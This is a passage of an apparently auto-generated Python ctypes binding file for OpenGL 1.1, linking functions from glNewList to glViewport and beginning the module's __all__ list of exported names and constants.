glNewList = _link_function('glNewList', None, [GLuint, GLenum], None)
# /usr/include/GL/gl.h:1469
glNormal3b = _link_function('glNormal3b', None, [GLbyte, GLbyte, GLbyte], None)
# /usr/include/GL/gl.h:1470
glNormal3bv = _link_function('glNormal3bv', None, [POINTER(GLbyte)], None)
# /usr/include/GL/gl.h:1471
glNormal3d = _link_function('glNormal3d', None, [GLdouble, GLdouble, GLdouble], None)
# /usr/include/GL/gl.h:1472
glNormal3dv = _link_function('glNormal3dv', None, [POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1473
glNormal3f = _link_function('glNormal3f', None, [GLfloat, GLfloat, GLfloat], None)
# /usr/include/GL/gl.h:1474
glNormal3fv = _link_function('glNormal3fv', None, [POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1475
glNormal3i = _link_function('glNormal3i', None, [GLint, GLint, GLint], None)
# /usr/include/GL/gl.h:1476
glNormal3iv = _link_function('glNormal3iv', None, [POINTER(GLint)], None)
# /usr/include/GL/gl.h:1477
glNormal3s = _link_function('glNormal3s', None, [GLshort, GLshort, GLshort], None)
# /usr/include/GL/gl.h:1478
glNormal3sv = _link_function('glNormal3sv', None, [POINTER(GLshort)], None)
# /usr/include/GL/gl.h:1479
glNormalPointer = _link_function('glNormalPointer', None, [GLenum, GLsizei, POINTER(GLvoid)], None)
# /usr/include/GL/gl.h:1480
glOrtho = _link_function('glOrtho', None, [GLdouble, GLdouble, GLdouble, GLdouble, GLdouble, GLdouble], None)
# /usr/include/GL/gl.h:1481
glPassThrough = _link_function('glPassThrough', None, [GLfloat], None)
# /usr/include/GL/gl.h:1482
glPixelMapfv = _link_function('glPixelMapfv', None, [GLenum, GLsizei, POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1483
glPixelMapuiv = _link_function('glPixelMapuiv', None, [GLenum, GLsizei, POINTER(GLuint)], None)
# /usr/include/GL/gl.h:1484
glPixelMapusv = _link_function('glPixelMapusv', None, [GLenum, GLsizei, POINTER(GLushort)], None)
# /usr/include/GL/gl.h:1485
glPixelStoref = _link_function('glPixelStoref', None, [GLenum, GLfloat], None)
# /usr/include/GL/gl.h:1486
glPixelStorei = _link_function('glPixelStorei', None, [GLenum, GLint], None)
# /usr/include/GL/gl.h:1487
glPixelTransferf = _link_function('glPixelTransferf', None, [GLenum, GLfloat], None)
# /usr/include/GL/gl.h:1488
glPixelTransferi = _link_function('glPixelTransferi', None, [GLenum, GLint], None)
# /usr/include/GL/gl.h:1489
glPixelZoom = _link_function('glPixelZoom', None, [GLfloat, GLfloat], None)
# /usr/include/GL/gl.h:1490
glPointSize = _link_function('glPointSize', None, [GLfloat], None)
# /usr/include/GL/gl.h:1491
glPolygonMode = _link_function('glPolygonMode', None, [GLenum, GLenum], None)
# /usr/include/GL/gl.h:1492
glPolygonOffset = _link_function('glPolygonOffset', None, [GLfloat, GLfloat], None)
# /usr/include/GL/gl.h:1493
glPolygonStipple = _link_function('glPolygonStipple', None, [POINTER(GLubyte)], None)
# /usr/include/GL/gl.h:1494
glPopAttrib = _link_function('glPopAttrib', None, [], None)
# /usr/include/GL/gl.h:1495
glPopClientAttrib = _link_function('glPopClientAttrib', None, [], None)
# /usr/include/GL/gl.h:1496
glPopMatrix = _link_function('glPopMatrix', None, [], None)
# /usr/include/GL/gl.h:1497
glPopName = _link_function('glPopName', None, [], None)
# /usr/include/GL/gl.h:1498
glPrioritizeTextures = _link_function('glPrioritizeTextures', None, [GLsizei, POINTER(GLuint), POINTER(GLclampf)], None)
# /usr/include/GL/gl.h:1499
glPushAttrib = _link_function('glPushAttrib', None, [GLbitfield], None)
# /usr/include/GL/gl.h:1500
glPushClientAttrib = _link_function('glPushClientAttrib', None, [GLbitfield], None)
# /usr/include/GL/gl.h:1501
glPushMatrix = _link_function('glPushMatrix', None, [], None)
# /usr/include/GL/gl.h:1502
glPushName = _link_function('glPushName', None, [GLuint], None)
# /usr/include/GL/gl.h:1503
glRasterPos2d = _link_function('glRasterPos2d', None, [GLdouble, GLdouble], None)
# /usr/include/GL/gl.h:1504
glRasterPos2dv = _link_function('glRasterPos2dv', None, [POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1505
glRasterPos2f = _link_function('glRasterPos2f', None, [GLfloat, GLfloat], None)
# /usr/include/GL/gl.h:1506
glRasterPos2fv = _link_function('glRasterPos2fv', None, [POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1507
glRasterPos2i = _link_function('glRasterPos2i', None, [GLint, GLint], None)
# /usr/include/GL/gl.h:1508
glRasterPos2iv = _link_function('glRasterPos2iv', None, [POINTER(GLint)], None)
# /usr/include/GL/gl.h:1509
glRasterPos2s = _link_function('glRasterPos2s', None, [GLshort, GLshort], None)
# /usr/include/GL/gl.h:1510
glRasterPos2sv = _link_function('glRasterPos2sv', None, [POINTER(GLshort)], None)
# /usr/include/GL/gl.h:1511
glRasterPos3d = _link_function('glRasterPos3d', None, [GLdouble, GLdouble, GLdouble], None)
# /usr/include/GL/gl.h:1512
glRasterPos3dv = _link_function('glRasterPos3dv', None, [POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1513
glRasterPos3f = _link_function('glRasterPos3f', None, [GLfloat, GLfloat, GLfloat], None)
# /usr/include/GL/gl.h:1514
glRasterPos3fv = _link_function('glRasterPos3fv', None, [POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1515
glRasterPos3i = _link_function('glRasterPos3i', None, [GLint, GLint, GLint], None)
# /usr/include/GL/gl.h:1516
glRasterPos3iv = _link_function('glRasterPos3iv', None, [POINTER(GLint)], None)
# /usr/include/GL/gl.h:1517
glRasterPos3s = _link_function('glRasterPos3s', None, [GLshort, GLshort, GLshort], None)
# /usr/include/GL/gl.h:1518
glRasterPos3sv = _link_function('glRasterPos3sv', None, [POINTER(GLshort)], None)
# /usr/include/GL/gl.h:1519
glRasterPos4d = _link_function('glRasterPos4d', None, [GLdouble, GLdouble, GLdouble, GLdouble], None)
# /usr/include/GL/gl.h:1520
glRasterPos4dv = _link_function('glRasterPos4dv', None, [POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1521
glRasterPos4f = _link_function('glRasterPos4f', None, [GLfloat, GLfloat, GLfloat, GLfloat], None)
# /usr/include/GL/gl.h:1522
glRasterPos4fv = _link_function('glRasterPos4fv', None, [POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1523
glRasterPos4i = _link_function('glRasterPos4i', None, [GLint, GLint, GLint, GLint], None)
# /usr/include/GL/gl.h:1524
glRasterPos4iv = _link_function('glRasterPos4iv', None, [POINTER(GLint)], None)
# /usr/include/GL/gl.h:1525
glRasterPos4s = _link_function('glRasterPos4s', None, [GLshort, GLshort, GLshort, GLshort], None)
# /usr/include/GL/gl.h:1526
glRasterPos4sv = _link_function('glRasterPos4sv', None, [POINTER(GLshort)], None)
# /usr/include/GL/gl.h:1527
glReadBuffer = _link_function('glReadBuffer', None, [GLenum], None)
# /usr/include/GL/gl.h:1528
glReadPixels = _link_function('glReadPixels', None, [GLint, GLint, GLsizei, GLsizei, GLenum, GLenum, POINTER(GLvoid)], None)
# /usr/include/GL/gl.h:1529
glRectd = _link_function('glRectd', None, [GLdouble, GLdouble, GLdouble, GLdouble], None)
# /usr/include/GL/gl.h:1530
glRectdv = _link_function('glRectdv', None, [POINTER(GLdouble), POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1531
glRectf = _link_function('glRectf', None, [GLfloat, GLfloat, GLfloat, GLfloat], None)
# /usr/include/GL/gl.h:1532
glRectfv = _link_function('glRectfv', None, [POINTER(GLfloat), POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1533
glRecti = _link_function('glRecti', None, [GLint, GLint, GLint, GLint], None)
# /usr/include/GL/gl.h:1534
glRectiv = _link_function('glRectiv', None, [POINTER(GLint), POINTER(GLint)], None)
# /usr/include/GL/gl.h:1535
glRects = _link_function('glRects', None, [GLshort, GLshort, GLshort, GLshort], None)
# /usr/include/GL/gl.h:1536
glRectsv = _link_function('glRectsv', None, [POINTER(GLshort), POINTER(GLshort)], None)
# /usr/include/GL/gl.h:1537
glRenderMode = _link_function('glRenderMode', GLint, [GLenum], None)
# /usr/include/GL/gl.h:1538
glRotated = _link_function('glRotated', None, [GLdouble, GLdouble, GLdouble, GLdouble], None)
# /usr/include/GL/gl.h:1539
glRotatef = _link_function('glRotatef', None, [GLfloat, GLfloat, GLfloat, GLfloat], None)
# /usr/include/GL/gl.h:1540
glScaled = _link_function('glScaled', None, [GLdouble, GLdouble, GLdouble], None)
# /usr/include/GL/gl.h:1541
glScalef = _link_function('glScalef', None, [GLfloat, GLfloat, GLfloat], None)
# /usr/include/GL/gl.h:1542
glScissor = _link_function('glScissor', None, [GLint, GLint, GLsizei, GLsizei], None)
# /usr/include/GL/gl.h:1543
glSelectBuffer = _link_function('glSelectBuffer', None, [GLsizei, POINTER(GLuint)], None)
# /usr/include/GL/gl.h:1544
glShadeModel = _link_function('glShadeModel', None, [GLenum], None)
# /usr/include/GL/gl.h:1545
glStencilFunc = _link_function('glStencilFunc', None, [GLenum, GLint, GLuint], None)
# /usr/include/GL/gl.h:1546
glStencilMask = _link_function('glStencilMask', None, [GLuint], None)
# /usr/include/GL/gl.h:1547
glStencilOp = _link_function('glStencilOp', None, [GLenum, GLenum, GLenum], None)
# /usr/include/GL/gl.h:1548
glTexCoord1d = _link_function('glTexCoord1d', None, [GLdouble], None)
# /usr/include/GL/gl.h:1549
glTexCoord1dv = _link_function('glTexCoord1dv', None, [POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1550
glTexCoord1f = _link_function('glTexCoord1f', None, [GLfloat], None)
# /usr/include/GL/gl.h:1551
glTexCoord1fv = _link_function('glTexCoord1fv', None, [POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1552
glTexCoord1i = _link_function('glTexCoord1i', None, [GLint], None)
# /usr/include/GL/gl.h:1553
glTexCoord1iv = _link_function('glTexCoord1iv', None, [POINTER(GLint)], None)
# /usr/include/GL/gl.h:1554
glTexCoord1s = _link_function('glTexCoord1s', None, [GLshort], None)
# /usr/include/GL/gl.h:1555
glTexCoord1sv = _link_function('glTexCoord1sv', None, [POINTER(GLshort)], None)
# /usr/include/GL/gl.h:1556
glTexCoord2d = _link_function('glTexCoord2d', None, [GLdouble, GLdouble], None)
# /usr/include/GL/gl.h:1557
glTexCoord2dv = _link_function('glTexCoord2dv', None, [POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1558
glTexCoord2f = _link_function('glTexCoord2f', None, [GLfloat, GLfloat], None)
# /usr/include/GL/gl.h:1559
glTexCoord2fv = _link_function('glTexCoord2fv', None, [POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1560
glTexCoord2i = _link_function('glTexCoord2i', None, [GLint, GLint], None)
# /usr/include/GL/gl.h:1561
glTexCoord2iv = _link_function('glTexCoord2iv', None, [POINTER(GLint)], None)
# /usr/include/GL/gl.h:1562
glTexCoord2s = _link_function('glTexCoord2s', None, [GLshort, GLshort], None)
# /usr/include/GL/gl.h:1563
glTexCoord2sv = _link_function('glTexCoord2sv', None, [POINTER(GLshort)], None)
# /usr/include/GL/gl.h:1564
glTexCoord3d = _link_function('glTexCoord3d', None, [GLdouble, GLdouble, GLdouble], None)
# /usr/include/GL/gl.h:1565
glTexCoord3dv = _link_function('glTexCoord3dv', None, [POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1566
glTexCoord3f = _link_function('glTexCoord3f', None, [GLfloat, GLfloat, GLfloat], None)
# /usr/include/GL/gl.h:1567
glTexCoord3fv = _link_function('glTexCoord3fv', None, [POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1568
glTexCoord3i = _link_function('glTexCoord3i', None, [GLint, GLint, GLint], None)
# /usr/include/GL/gl.h:1569
glTexCoord3iv = _link_function('glTexCoord3iv', None, [POINTER(GLint)], None)
# /usr/include/GL/gl.h:1570
glTexCoord3s = _link_function('glTexCoord3s', None, [GLshort, GLshort, GLshort], None)
# /usr/include/GL/gl.h:1571
glTexCoord3sv = _link_function('glTexCoord3sv', None, [POINTER(GLshort)], None)
# /usr/include/GL/gl.h:1572
glTexCoord4d = _link_function('glTexCoord4d', None, [GLdouble, GLdouble, GLdouble, GLdouble], None)
# /usr/include/GL/gl.h:1573
glTexCoord4dv = _link_function('glTexCoord4dv', None, [POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1574
glTexCoord4f = _link_function('glTexCoord4f', None, [GLfloat, GLfloat, GLfloat, GLfloat], None)
# /usr/include/GL/gl.h:1575
glTexCoord4fv = _link_function('glTexCoord4fv', None, [POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1576
glTexCoord4i = _link_function('glTexCoord4i', None, [GLint, GLint, GLint, GLint], None)
# /usr/include/GL/gl.h:1577
glTexCoord4iv = _link_function('glTexCoord4iv', None, [POINTER(GLint)], None)
# /usr/include/GL/gl.h:1578
glTexCoord4s = _link_function('glTexCoord4s', None, [GLshort, GLshort, GLshort, GLshort], None)
# /usr/include/GL/gl.h:1579
glTexCoord4sv = _link_function('glTexCoord4sv', None, [POINTER(GLshort)], None)
# /usr/include/GL/gl.h:1580
glTexCoordPointer = _link_function('glTexCoordPointer', None, [GLint, GLenum, GLsizei, POINTER(GLvoid)], None)
# /usr/include/GL/gl.h:1581
glTexEnvf = _link_function('glTexEnvf', None, [GLenum, GLenum, GLfloat], None)
# /usr/include/GL/gl.h:1582
glTexEnvfv = _link_function('glTexEnvfv', None, [GLenum, GLenum, POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1583
glTexEnvi = _link_function('glTexEnvi', None, [GLenum, GLenum, GLint], None)
# /usr/include/GL/gl.h:1584
glTexEnviv = _link_function('glTexEnviv', None, [GLenum, GLenum, POINTER(GLint)], None)
# /usr/include/GL/gl.h:1585
glTexGend = _link_function('glTexGend', None, [GLenum, GLenum, GLdouble], None)
# /usr/include/GL/gl.h:1586
glTexGendv = _link_function('glTexGendv', None, [GLenum, GLenum, POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1587
glTexGenf = _link_function('glTexGenf', None, [GLenum, GLenum, GLfloat], None)
# /usr/include/GL/gl.h:1588
glTexGenfv = _link_function('glTexGenfv', None, [GLenum, GLenum, POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1589
glTexGeni = _link_function('glTexGeni', None, [GLenum, GLenum, GLint], None)
# /usr/include/GL/gl.h:1590
glTexGeniv = _link_function('glTexGeniv', None, [GLenum, GLenum, POINTER(GLint)], None)
# /usr/include/GL/gl.h:1591
glTexImage1D = _link_function('glTexImage1D', None, [GLenum, GLint, GLint, GLsizei, GLint, GLenum, GLenum, POINTER(GLvoid)], None)
# /usr/include/GL/gl.h:1592
glTexImage2D = _link_function('glTexImage2D', None, [GLenum, GLint, GLint, GLsizei, GLsizei, GLint, GLenum, GLenum, POINTER(GLvoid)], None)
# /usr/include/GL/gl.h:1593
glTexParameterf = _link_function('glTexParameterf', None, [GLenum, GLenum, GLfloat], None)
# /usr/include/GL/gl.h:1594
glTexParameterfv = _link_function('glTexParameterfv', None, [GLenum, GLenum, POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1595
glTexParameteri = _link_function('glTexParameteri', None, [GLenum, GLenum, GLint], None)
# /usr/include/GL/gl.h:1596
glTexParameteriv = _link_function('glTexParameteriv', None, [GLenum, GLenum, POINTER(GLint)], None)
# /usr/include/GL/gl.h:1597
glTexSubImage1D = _link_function('glTexSubImage1D', None, [GLenum, GLint, GLint, GLsizei, GLenum, GLenum, POINTER(GLvoid)], None)
# /usr/include/GL/gl.h:1598
glTexSubImage2D = _link_function('glTexSubImage2D', None, [GLenum, GLint, GLint, GLint, GLsizei, GLsizei, GLenum, GLenum, POINTER(GLvoid)], None)
# /usr/include/GL/gl.h:1599
glTranslated = _link_function('glTranslated', None, [GLdouble, GLdouble, GLdouble], None)
# /usr/include/GL/gl.h:1600
glTranslatef = _link_function('glTranslatef', None, [GLfloat, GLfloat, GLfloat], None)
# /usr/include/GL/gl.h:1601
glVertex2d = _link_function('glVertex2d', None, [GLdouble, GLdouble], None)
# /usr/include/GL/gl.h:1602
glVertex2dv = _link_function('glVertex2dv', None, [POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1603
glVertex2f = _link_function('glVertex2f', None, [GLfloat, GLfloat], None)
# /usr/include/GL/gl.h:1604
glVertex2fv = _link_function('glVertex2fv', None, [POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1605
glVertex2i = _link_function('glVertex2i', None, [GLint, GLint], None)
# /usr/include/GL/gl.h:1606
glVertex2iv = _link_function('glVertex2iv', None, [POINTER(GLint)], None)
# /usr/include/GL/gl.h:1607
glVertex2s = _link_function('glVertex2s', None, [GLshort, GLshort], None)
# /usr/include/GL/gl.h:1608
glVertex2sv = _link_function('glVertex2sv', None, [POINTER(GLshort)], None)
# /usr/include/GL/gl.h:1609
glVertex3d = _link_function('glVertex3d', None, [GLdouble, GLdouble, GLdouble], None)
# /usr/include/GL/gl.h:1610
glVertex3dv = _link_function('glVertex3dv', None, [POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1611
glVertex3f = _link_function('glVertex3f', None, [GLfloat, GLfloat, GLfloat], None)
# /usr/include/GL/gl.h:1612
glVertex3fv = _link_function('glVertex3fv', None, [POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1613
glVertex3i = _link_function('glVertex3i', None, [GLint, GLint, GLint], None)
# /usr/include/GL/gl.h:1614
glVertex3iv = _link_function('glVertex3iv', None, [POINTER(GLint)], None)
# /usr/include/GL/gl.h:1615
glVertex3s = _link_function('glVertex3s', None, [GLshort, GLshort, GLshort], None)
# /usr/include/GL/gl.h:1616
glVertex3sv = _link_function('glVertex3sv', None, [POINTER(GLshort)], None)
# /usr/include/GL/gl.h:1617
glVertex4d = _link_function('glVertex4d', None, [GLdouble, GLdouble, GLdouble, GLdouble], None)
# /usr/include/GL/gl.h:1618
glVertex4dv = _link_function('glVertex4dv', None, [POINTER(GLdouble)], None)
# /usr/include/GL/gl.h:1619
glVertex4f = _link_function('glVertex4f', None, [GLfloat, GLfloat, GLfloat, GLfloat], None)
# /usr/include/GL/gl.h:1620
glVertex4fv = _link_function('glVertex4fv', None, [POINTER(GLfloat)], None)
# /usr/include/GL/gl.h:1621
glVertex4i = _link_function('glVertex4i', None, [GLint, GLint, GLint, GLint], None)
# /usr/include/GL/gl.h:1622
glVertex4iv = _link_function('glVertex4iv', None, [POINTER(GLint)], None)
# /usr/include/GL/gl.h:1623
glVertex4s = _link_function('glVertex4s', None, [GLshort, GLshort, GLshort, GLshort], None)
# /usr/include/GL/gl.h:1624
glVertex4sv = _link_function('glVertex4sv', None, [POINTER(GLshort)], None)
# /usr/include/GL/gl.h:1625
glVertexPointer = _link_function('glVertexPointer', None, [GLint, GLenum, GLsizei, POINTER(GLvoid)], None)
# /usr/include/GL/gl.h:1626
glViewport = _link_function('glViewport', None, [GLint, GLint, GLsizei, GLsizei], None)
__all__ = ['GLenum', 'GLboolean', 'GLbitfield', 'GLbyte', 'GLshort', 'GLint',
'GLsizei', 'GLubyte', 'GLushort', 'GLuint', 'GLfloat', 'GLclampf', 'GLdouble',
'GLclampd', 'GLvoid', 'GL_VERSION_1_1', 'GL_CURRENT_BIT', 'GL_POINT_BIT',
'GL_LINE_BIT', 'GL_POLYGON_BIT', 'GL_POLYGON_STIPPLE_BIT',
'GL_PIXEL_MODE_BIT', 'GL_LIGHTING_BIT', 'GL_FOG_BIT', 'GL_DEPTH_BUFFER_BIT',
'GL_ACCUM_BUFFER_BIT', 'GL_STENCIL_BUFFER_BIT', 'GL_VIEWPORT_BIT',
'GL_TRANSFORM_BIT', 'GL_ENABLE_BIT', 'GL_COLOR_BUFFER_BIT', 'GL_HINT_BIT',
'GL_EVAL_BIT', 'GL_LIST_BIT', 'GL_TEXTURE_BIT', 'GL_SCISSOR_BIT',
'GL_ALL_ATTRIB_BITS', 'GL_CLIENT_PIXEL_STORE_BIT',
'GL_CLIENT_VERTEX_ARRAY_BIT', 'GL_CLIENT_ALL_ATTRIB_BITS', 'GL_FALSE',
'GL_TRUE', 'GL_POINTS', 'GL_LINES', 'GL_LINE_LOOP', 'GL_LINE_STRIP',
'GL_TRIANGLES', 'GL_TRIANGLE_STRIP', 'GL_TRIANGLE_FAN', 'GL_QUADS',
'GL_QUAD_STRIP', 'GL_POLYGON', 'GL_ACCUM', 'GL_LOAD', 'GL_RETURN', 'GL_MULT',
'GL_ADD', 'GL_NEVER', 'GL_LESS', 'GL_EQUAL', 'GL_LEQUAL', 'GL_GREATER',
'GL_NOTEQUAL', 'GL_GEQUAL', 'GL_ALWAYS', 'GL_ZERO', 'GL_ONE', 'GL_SRC_COLOR',
'GL_ONE_MINUS_SRC_COLOR', 'GL_SRC_ALPHA', 'GL_ONE_MINUS_SRC_ALPHA',
'GL_DST_ALPHA', 'GL_ONE_MINUS_DST_ALPHA', 'GL_DST_COLOR',
'GL_ONE_MINUS_DST_COLOR', 'GL_SRC_ALPHA_SATURATE', 'GL_NONE', 'GL_FRONT_LEFT',
'GL_FRONT_RIGHT', 'GL_BACK_LEFT', 'GL_BACK_RIGHT', 'GL_FRONT', 'GL_BACK',
'GL_LEFT', 'GL_RIGHT', 'GL_FRONT_AND_BACK', 'GL_AUX0', 'GL_AUX1', 'GL_AUX2',
'GL_AUX3', 'GL_NO_ERROR', 'GL_INVALID_ENUM', 'GL_INVALID_VALUE',
'GL_INVALID_OPERATION', 'GL_STACK_OVERFLOW', 'GL_STACK_UNDERFLOW',
'GL_OUT_OF_MEMORY', 'GL_TABLE_TOO_LARGE', 'GL_2D', 'GL_3D', 'GL_3D_COLOR',
'GL_3D_COLOR_TEXTURE', 'GL_4D_COLOR_TEXTURE', 'GL_PASS_THROUGH_TOKEN',
'GL_POINT_TOKEN', 'GL_LINE_TOKEN', 'GL_POLYGON_TOKEN', 'GL_BITMAP_TOKEN',
'GL_DRAW_PIXEL_TOKEN', 'GL_COPY_PIXEL_TOKEN', 'GL_LINE_RESET_TOKEN', 'GL_EXP',
'GL_EXP2', 'GL_CW', 'GL_CCW', 'GL_COEFF', 'GL_ORDER', 'GL_DOMAIN',
'GL_PIXEL_MAP_I_TO_I', 'GL_PIXEL_MAP_S_TO_S', 'GL_PIXEL_MAP_I_TO_R',
'GL_PIXEL_MAP_I_TO_G', 'GL_PIXEL_MAP_I_TO_B', 'GL_PIXEL_MAP_I_TO_A',
'GL_PIXEL_MAP_R_TO_R', 'GL_PIXEL_MAP_G_TO_G', 'GL_PIXEL_MAP_B_TO_B',
'GL_PIXEL_MAP_A_TO_A', 'GL_VERTEX_ARRAY_POINTER', 'GL_NORMAL_ARRAY_POINTER',
'GL_COLOR_ARRAY_POINTER', 'GL_INDEX_ARRAY_POINTER',
'GL_TEXTURE_COORD_ARRAY_POINTER', 'GL_EDGE_FLAG_ARRAY_POINTER',
'GL_CURRENT_COLOR', 'GL_CURRENT_INDEX', 'GL_CURRENT_NORMAL',
'GL_CURRENT_TEXTURE_COORDS', 'GL_CURRENT_RASTER_COLOR',
'GL_CURRENT_RASTER_INDEX', 'GL_CURRENT_RASTER_TEXTURE_COORDS',
'GL_CURRENT_RASTER_POSITION', 'GL_CURRENT_RASTER_POSITION_VALID',
'GL_CURRENT_RASTER_DISTANCE', 'GL_POINT_SMOOTH', 'GL_POINT_SIZE',
'GL_SMOOTH_POINT_SIZE_RANGE', 'GL_SMOOTH_POINT_SIZE_GRANULARITY',
'GL_POINT_SIZE_RANGE', 'GL_POINT_SIZE_GRANULARITY', 'GL_LINE_SMOOTH',
'GL_LINE_WIDTH', 'GL_SMOOTH_LINE_WIDTH_RANGE',
'GL_SMOOTH_LINE_WIDTH_GRANULARITY', 'GL_LINE_WIDTH_RANGE',
'GL_LINE_WIDTH_GRANULARITY', 'GL_LINE_STIPPLE', 'GL_LINE_STIPPLE_PATTERN',
'GL_LINE_STIPPLE_REPEAT', 'GL_LIST_MODE', 'GL_MAX_LIST_NESTING',
'GL_LIST_BASE', 'GL_LIST_INDEX', 'GL_POLYGON_MODE', 'GL_POLYGON_SMOOTH',
'GL_POLYGON_STIPPLE', 'GL_EDGE_FLAG', 'GL_CULL_FACE', 'GL_CULL_FACE_MODE',
'GL_FRONT_FACE', 'GL_LIGHTING', 'GL_LIGHT_MODEL_LOCAL_VIEWER',
'GL_LIGHT_MODEL_TWO_SIDE', 'GL_LIGHT_MODEL_AMBIENT', 'GL_SHADE_MODEL',
'GL_COLOR_MATERIAL_FACE', 'GL_COLOR_MATERIAL_PARAMETER', 'GL_COLOR_MATERIAL',
'GL_FOG', 'GL_FOG_INDEX', 'GL_FOG_DENSITY', 'GL_FOG_START', 'GL_FOG_END',
'GL_FOG_MODE', 'GL_FOG_COLOR', 'GL_DEPTH_RANGE', 'GL_DEPTH_TEST',
'GL_DEPTH_WRITEMASK', 'GL_DEPTH_CLEAR_VALUE', 'GL_DEPTH_FUNC',
'GL_ACCUM_CLEAR_VALUE', 'GL_STENCIL_TEST', 'GL_STENCIL_CLEAR_VALUE',
'GL_STENCIL_FUNC', 'GL_STENCIL_VALUE_MASK', 'GL_STENCIL_FAIL',
'GL_STENCIL_PASS_DEPTH_FAIL', 'GL_STENCIL_PASS_DEPTH_PASS', 'GL_STENCIL_REF',
'GL_STENCIL_WRITEMASK', 'GL_MATRIX_MODE', 'GL_NORMALIZE', 'GL_VIEWPORT',
'GL_MODELVIEW_STACK_DEPTH', 'GL_PROJECTION_STACK_DEPTH',
'GL_TEXTURE_STACK_DEPTH', 'GL_MODELVIEW_MATRIX', 'GL_PROJECTION_MATRIX',
'GL_TEXTURE_MATRIX', 'GL_ATTRIB_STACK_DEPTH', 'GL_CLIENT_ATTRIB_STACK_DEPTH',
'GL_ALPHA_TEST', 'GL_ALPHA_TEST_FUNC', 'GL_ALPHA_TEST_REF', 'GL_DITHER',
'GL_BLEND_DST', 'GL_BLEND_SRC', 'GL_BLEND', 'GL_LOGIC_OP_MODE',
'GL_INDEX_LOGIC_OP', 'GL_LOGIC_OP', 'GL_COLOR_LOGIC_OP', 'GL_AUX_BUFFERS',
'GL_DRAW_BUFFER', 'GL_READ_BUFFER', 'GL_SCISSOR_BOX', 'GL_SCISSOR_TEST',
'GL_INDEX_CLEAR_VALUE', 'GL_INDEX_WRITEMASK', 'GL_COLOR_CLEAR_VALUE',
'GL_COLOR_WRITEMASK', 'GL_INDEX_MODE', 'GL_RGBA_MODE', 'GL_DOUBLEBUFFER',
'GL_STEREO', 'GL_RENDER_MODE', 'GL_PERSPECTIVE_CORRECTION_HINT',
'GL_POINT_SMOOTH_HINT', 'GL_LINE_SMOOTH_HINT', 'GL_POLYGON_SMOOTH_HINT',
'GL_FOG_HINT', 'GL_TEXTURE_GEN_S', 'GL_TEXTURE_GEN_T', 'GL_TEXTURE_GEN_R',
'GL_TEXTURE_GEN_Q', 'GL_PIXEL_MAP_I_TO_I_SIZE', 'GL_PIXEL_MAP_S_TO_S_SIZE',
'GL_PIXEL_MAP_I_TO_R_SIZE', 'GL_PIXEL_MAP_I_TO_G_SIZE',
'GL_PIXEL_MAP_I_TO_B_SIZE', 'GL_PIXEL_MAP_I_TO_A_SIZE',
'GL_PIXEL_MAP_R_TO_R_SIZE', 'GL_PIXEL_MAP_G_TO_G_SIZE',
'GL_PIXEL_MAP_B_TO_B_SIZE', 'GL_PIXEL_MAP_A_TO_A_SIZE',
'GL_UNPACK_SWAP_BYTES', 'GL_UNPACK_LSB_FIRST', 'GL_UNPACK_ROW_LENGTH',
'GL_UNPACK_SKIP_ROWS', 'GL_UNPACK_SKIP_PIXELS', 'GL_UNPACK_ALIGNMENT',
'GL_PACK_SWAP_BYTES', 'GL_PACK_LSB_FIRST', 'GL_PACK_ROW_LENGTH',
'GL_PACK_SKIP_ROWS', 'GL_PACK_SKIP_PIXELS', 'GL_PACK_ALIGNMENT',
'GL_MAP_COLOR', 'GL_MAP_STENCIL', 'GL_INDEX_SHIFT', 'GL_INDEX_OFFSET',
'GL_RED_SCALE', 'GL_RED_BIAS', 'GL_ZOOM_X', 'GL_ZOOM_Y', 'GL_GREEN_SCALE',
'GL_GREEN_BIAS', 'GL_BLUE_SCALE', 'GL_BLUE_BIAS', 'GL_ALPHA_SCALE',
'GL_ALPHA_BIAS', 'GL_DEPTH_SCALE', 'GL_DEPTH_BIAS', 'GL_MAX_EVAL_ORDER',
'GL_MAX_LIGHTS', 'GL_MAX_CLIP_PLANES', 'GL_MAX_TEXTURE_SIZE',
'GL_MAX_PIXEL_MAP_TABLE', 'GL_MAX_ATTRIB_STACK_DEPTH',
'GL_MAX_MODELVIEW_STACK_DEPTH', 'GL_MAX_NAME_STACK_DEPTH',
'GL_MAX_PROJECTION_STACK_DEPTH', 'GL_MAX_TEXTURE_STACK_DEPTH',
'GL_MAX_VIEWPORT_DIMS', 'GL_MAX_CLIENT_ATTRIB_STACK_DEPTH',
'GL_SUBPIXEL_BITS', 'GL_INDEX_BITS', 'GL_RED_BITS', 'GL_GREEN_BITS',
'GL_BLUE_BITS', 'GL_ALPHA_BITS', 'GL_DEPTH_BITS', 'GL_STENCIL_BITS',
'GL_ACCUM_RED_BITS', 'GL_ACCUM_GREEN_BITS', 'GL_ACCUM_BLUE_BITS',
'GL_ACCUM_ALPHA_BITS', 'GL_NAME_STACK_DEPTH', 'GL_AUTO_NORMAL',
'GL_MAP1_COLOR_4', 'GL_MAP1_INDEX', 'GL_MAP1_NORMAL',
'GL_MAP1_TEXTURE_COORD_1', 'GL_MAP1_TEXTURE_COORD_2',
'GL_MAP1_TEXTURE_COORD_3', 'GL_MAP1_TEXTURE_COORD_4', 'GL_MAP1_VERTEX_3',
